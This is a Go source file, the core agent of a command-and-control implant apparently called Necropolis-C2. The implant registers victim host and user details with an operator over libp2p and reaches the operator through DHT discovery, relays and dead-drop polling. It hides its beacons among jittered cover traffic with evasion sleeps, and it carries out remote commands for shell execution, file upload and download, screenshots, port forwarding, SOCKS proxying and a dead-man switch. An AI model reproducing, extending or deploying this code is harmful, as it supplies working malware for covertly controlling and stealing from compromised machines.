Files
Necropolis-C2/implant/core/agent.go
T
2026-07-07 04:50:23 +01:00

839 lines
20 KiB
Go

package core
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
"fmt"
"io"
"log"
"os"
"os/user"
"runtime"
"runtime/debug"
"sort"
"sync"
"time"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
"github.com/multiformats/go-multiaddr"
"google.golang.org/protobuf/proto"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
"github.com/Yenn503/NecropolisC2/pkg/transport"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)
type Agent struct {
node *transport.Node
messenger *transport.Messenger
keys *cryptography.ImplantKey
operatorPub crypto.PubKey
boxPubKey *[32]byte
authToken []byte
config AgentConfig
ctx context.Context
cancel context.CancelFunc
connected bool
connectedMu sync.Mutex
wg sync.WaitGroup
beaconStream network.Stream
beaconMu sync.Mutex
beaconWriteMu sync.Mutex
deadManCmd string
deadManTimeout time.Duration
deadManTimer *time.Timer
relayPeers map[peer.ID]*relayPeerInfo
relayMu sync.RWMutex
lastDHTNonce int64
implantBoxKeys *cryptography.BoxKeyPair
}
type AgentConfig struct {
OperatorAddr string
WSSAddr string
BeaconInterval time.Duration
BeaconJitter time.Duration
ReconnectBackoff time.Duration
RelayAddrs []string
CoverTraffic bool
CoverInterval time.Duration
CoverJitter time.Duration
}
func DefaultAgentConfig() AgentConfig {
return AgentConfig{
BeaconInterval: 10 * time.Second,
BeaconJitter: 5 * time.Second,
ReconnectBackoff: 5 * time.Second,
CoverTraffic: true,
CoverInterval: 4 * time.Second,
CoverJitter: 3 * time.Second,
}
}
func loadOperatorPubKey() (crypto.PubKey, error) {
if len(embeddedOperatorPubKey) == 0 {
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
}
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func loadOperatorBoxPubKey() *[32]byte {
if len(embeddedOperatorBoxPubKey) != 32 {
return nil
}
var key [32]byte
copy(key[:], embeddedOperatorBoxPubKey)
return &key
}
func loadAuthToken() []byte {
if len(embeddedAuthToken) != 32 {
return nil
}
return embeddedAuthToken
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
}
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
if err != nil {
return nil, fmt.Errorf("unmarshal implant key: %w", err)
}
pub := priv.GetPublic()
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from implant key: %w", err)
}
return &cryptography.ImplantKey{
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
ctx, cancel := context.WithCancel(ctx)
operatorPub, err := loadOperatorPubKey()
if err != nil {
cancel()
return nil, fmt.Errorf("load operator pubkey: %w", err)
}
keys, err := loadImplantKey(operatorPub)
if err != nil {
cancel()
return nil, fmt.Errorf("load implant key: %w", err)
}
nodeCfg := transport.NodeConfig{
ListenAddr: "/ip4/0.0.0.0/tcp/0/ws",
BootstrapPeers: transport.DefaultBootstrapAddrs(),
EnableRelay: true,
EnableRelayService: true,
EnableMDNS: false,
EnableDHT: true,
RelayAddrs: cfg.RelayAddrs,
PrivateKey: keys.PrivateKey,
}
node, err := transport.NewNode(ctx, nodeCfg,
libp2p.NoTransports,
libp2p.Transport(ws.New),
libp2p.Transport(tcp.NewTCPTransport),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create node: %w", err)
}
boxPub := loadOperatorBoxPubKey()
authToken := loadAuthToken()
implantBoxKeys, err := cryptography.GenerateBoxKey()
if err != nil {
cancel()
node.Close()
return nil, fmt.Errorf("generate implant box key: %w", err)
}
a := &Agent{
keys: keys,
operatorPub: operatorPub,
boxPubKey: boxPub,
authToken: authToken,
node: node,
config: cfg,
ctx: ctx,
cancel: cancel,
relayPeers: make(map[peer.ID]*relayPeerInfo),
implantBoxKeys: implantBoxKeys,
}
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
a.messenger.SetAuthToken(authToken)
a.messenger.SetHandler(a.handleCommand)
return a, nil
}
func (a *Agent) Start() error {
log.Printf("[implant] PeerID: %s", a.node.ID().String())
log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())
if a.config.OperatorAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
if err != nil {
return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
return fmt.Errorf("parse operator peer info: %w", err)
}
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
return fmt.Errorf("connect to operator: %w", err)
}
log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
}
if a.config.WSSAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
if err == nil {
pi, err := peer.AddrInfoFromP2pAddr(m)
if err == nil {
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
log.Printf("[implant] WSS fallback connect: %v", err)
} else {
log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
}
}
}
}
log.Printf("[implant] starting discovery...")
if err := a.node.StartDiscovery(); err != nil {
return fmt.Errorf("discovery: %w", err)
}
log.Printf("[implant] subscribing to commands...")
if err := a.messenger.ListenCommands(a.ctx); err != nil {
return fmt.Errorf("listen commands: %w", err)
}
if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
return fmt.Errorf("listen task: %w", err)
}
a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)
ns := a.messenger.RendezvousString()
if a.node.DHT != nil {
a.wg.Add(1)
go a.discoverOperatorLoop(ns)
}
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)
a.wg.Add(1)
go a.beaconLoop()
if a.config.CoverTraffic {
a.wg.Add(1)
go a.coverTrafficLoop()
}
a.wg.Add(1)
go a.streamKeepaliveLoop()
if a.node.DHT != nil {
relayNS := a.relayRendezvous()
a.wg.Add(1)
go a.advertiseRelayLoop(relayNS)
a.wg.Add(1)
go a.discoverRelaysLoop(relayNS)
a.wg.Add(1)
go a.pollDHTCmdLoop()
}
return nil
}
func (a *Agent) discoverOperatorLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
}
}()
log.Printf("[implant] DHT discovery started for: %s", ns)
for {
if a.node.DHT != nil {
rt := a.node.DHT.RoutingTable()
if rt != nil && rt.Size() >= 5 {
break
}
}
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(2 * time.Second)
}
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
}
}()
peerCh, err := a.node.FindPeers(a.ctx, ns)
if err != nil {
log.Printf("[implant] DHT find peers: %v", err)
return
}
for pi := range peerCh {
if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
continue
}
if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
continue
}
a.connectedMu.Lock()
if !a.connected {
a.connected = true
a.connectedMu.Unlock()
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
} else {
a.beaconMu.Lock()
streamNil := a.beaconStream == nil
a.beaconMu.Unlock()
a.connectedMu.Unlock()
if streamNil {
log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
}
}
}
a.connectedMu.Lock()
cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
if a.connected && cs != network.Connected && cs != network.Limited {
a.connected = false
}
a.connectedMu.Unlock()
}()
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(15 * time.Second)
}
}
func cryptoJitter(max time.Duration) time.Duration {
if max <= 0 {
return 0
}
var buf [8]byte
rand.Read(buf[:])
n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
return time.Duration(n % int64(max))
}
func (a *Agent) beaconLoop() {
defer a.wg.Done()
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendBeaconRegister()
}()
jitter := cryptoJitter(a.config.BeaconJitter)
sleep := a.config.BeaconInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
}
}
func (a *Agent) streamKeepaliveLoop() {
defer a.wg.Done()
for {
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(5 * time.Second)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
}
}()
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if !connected {
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
if err := a.sendEnvelopeDirect(opID, env); err != nil {
}
}()
}
}
func (a *Agent) coverTrafficLoop() {
defer a.wg.Done()
for {
jitter := cryptoJitter(a.config.CoverJitter)
sleep := a.config.CoverInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendCoverTraffic()
}()
}
}
func (a *Agent) sendCoverTraffic() {
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] cover traffic: %v", err)
}
}
func (a *Agent) buildRegisterPayload() ([]byte, error) {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME")
}
if u, err := user.Current(); err == nil && u.Name != "" {
username = u.Name
} else if err == nil && u.Username != "" {
username = u.Username
}
uid, gid := "", ""
if runtime.GOOS != "windows" {
uid = fmt.Sprintf("%d", os.Getuid())
gid = fmt.Sprintf("%d", os.Getgid())
}
reg := &apb.Register{
Name: username,
Hostname: hostname,
UUID: a.node.ID().String(),
Username: username,
UID: uid,
GID: gid,
OS: runtime.GOOS,
Arch: runtime.GOARCH,
PID: int32(os.Getpid()),
Filename: os.Args[0],
Version: "0.1.0",
Locale: os.Getenv("LANG"),
ActiveC2: a.messenger.OperatorID().String(),
BoxPubKey: a.boxPubKey[:],
}
beaconReg := &apb.Z1{
ID: a.node.ID().String(),
Interval: int64(a.config.BeaconInterval.Seconds()),
Jitter: int64(a.config.BeaconJitter.Seconds()),
Register: reg,
}
data, err := proto.Marshal(beaconReg)
if err != nil {
return nil, err
}
return data, nil
}
func (a *Agent) sendBeaconRegister() {
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] marshal beacon register: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if connected {
if err := a.sendEnvelopeDirect(opID, env); err == nil {
log.Printf("[implant] sent beacon register to %s", opID.String())
return
}
}
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] send register: %v", err)
}
}
func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in sendBeaconDirect: %v", r)
}
}()
log.Printf("[implant] sending direct beacon to %s", operatorID.String())
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] direct beacon marshal: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
log.Printf("[implant] direct beacon send: %v", err)
a.connectedMu.Lock()
a.connected = false
a.connectedMu.Unlock()
return
}
log.Printf("[implant] sent direct beacon to %s", operatorID.String())
}
func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
log.Printf("[implant] dropped command — %v", err)
return
}
if !bytes.Equal(env.Token, a.authToken) {
log.Printf("[implant] dropped command — auth token mismatch")
return
}
if a.messenger.IsReplay(env.ID) {
log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
return
}
log.Printf("[implant] received command type=%d", env.Type)
if a.implantBoxKeys != nil && len(env.Data) > 0 {
decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
if err == nil {
env.Data = decrypted
log.Printf("[implant] decrypted command type=%d", env.Type)
}
}
if a.deadManTimer != nil {
a.deadManTimer.Reset(a.deadManTimeout)
}
switch env.Type {
case transport.MsgTypePs:
a.handlePs(env)
case transport.MsgTypeDownload:
a.handleDownload(env)
case transport.MsgTypeUpload:
a.handleUpload(env)
case transport.MsgTypeScreenshot:
a.handleScreenshot(env)
case transport.MsgTypeLs:
a.handleLs(env)
case transport.MsgTypeCd:
a.handleCd(env)
case transport.MsgTypePwd:
a.handlePwd(env)
case transport.MsgTypeExecute:
a.handleExecute(env)
case transport.MsgTypeKill:
a.handleKill(env)
case transport.MsgTypeDeadMan:
a.handleDeadMan(env)
default:
log.Printf("[implant] unknown cmd type=%d", env.Type)
}
}
func (a *Agent) handleCommandStream(s network.Stream) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
}
}()
defer s.Close()
remotePeer := s.Conn().RemotePeer()
log.Printf("[implant] command stream from %s", remotePeer.String())
var msgLen uint32
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
log.Printf("[implant] command stream read len: %v", err)
return
}
if msgLen > 1<<20 {
return
}
data := make([]byte, msgLen)
if _, err := io.ReadFull(s, data); err != nil {
log.Printf("[implant] command stream read data: %v", err)
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(data, env); err != nil {
log.Printf("[implant] command stream unmarshal: %v", err)
return
}
a.handleCommand(a.ctx, env, nil)
}
func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "beacon stream")
s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
if err != nil {
return nil, fmt.Errorf("open stream: %w", err)
}
return s, nil
}
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
var data []byte
if a.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
data = encrypted
} else {
data = env.Data
}
wireEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: data,
Token: env.Token,
}
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
if err == nil {
wireEnv.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
sig, err := a.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
wireEnv.Signature = sig
s := a.getBeaconStream(operatorID)
if s == nil {
return fmt.Errorf("nil beacon stream")
}
envData, err := proto.Marshal(wireEnv)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
a.beaconWriteMu.Lock()
defer a.beaconWriteMu.Unlock()
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write len: %w", err)
}
if _, err := s.Write(envData); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write data: %w", err)
}
s.SetWriteDeadline(time.Time{})
return nil
}
func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
a.beaconMu.Lock()
s := a.beaconStream
if s != nil {
a.beaconMu.Unlock()
return s
}
a.beaconMu.Unlock()
cs := a.node.Host.Network().Connectedness(operatorID)
if cs == network.Connected || cs == network.Limited {
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "direct")
}
}
a.relayMu.RLock()
var candidates []peer.ID
for id, rp := range a.relayPeers {
if rp.connected {
candidates = append(candidates, id)
}
}
// prefer relays with fewer failures — cheapest signal available
sort.Slice(candidates, func(i, j int) bool {
return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
})
a.relayMu.RUnlock()
for _, relayID := range candidates {
circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
relayID.String(), operatorID.String())
m, err := multiaddr.NewMultiaddr(circuitAddr)
if err != nil {
continue
}
connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
cancel()
if err != nil {
log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
continue
}
log.Printf("[implant] connected to operator via relay %s", relayID.String())
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "relayed")
}
}
return nil
}
func (a *Agent) setBeaconStream(s network.Stream) {
a.beaconMu.Lock()
a.beaconStream = s
a.beaconMu.Unlock()
}
func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
a.beaconMu.Lock()
if a.beaconStream == nil {
a.beaconStream = s
} else {
s.Close()
s = a.beaconStream
}
a.beaconMu.Unlock()
log.Printf("[implant] persistent beacon stream opened (%s)", via)
return s
}
func (a *Agent) pollDHTCmdLoop() {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
opID := a.messenger.OperatorID()
for {
nonce := a.lastDHTNonce + 1
key := transport.CommandDHTKey(opID, nonce)
val, err := a.node.GetDHTValue(a.ctx, key)
if err != nil || len(val) == 0 {
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
env := &apb.Envelope{}
if err := proto.Unmarshal(val, env); err != nil {
log.Printf("[implant] dht dead-drop unmarshal: %v", err)
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
a.handleCommand(a.ctx, env, nil)
a.lastDHTNonce = nonce
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}
func (a *Agent) Close() error {
a.cancel()
a.wg.Wait()
return a.node.Close()
}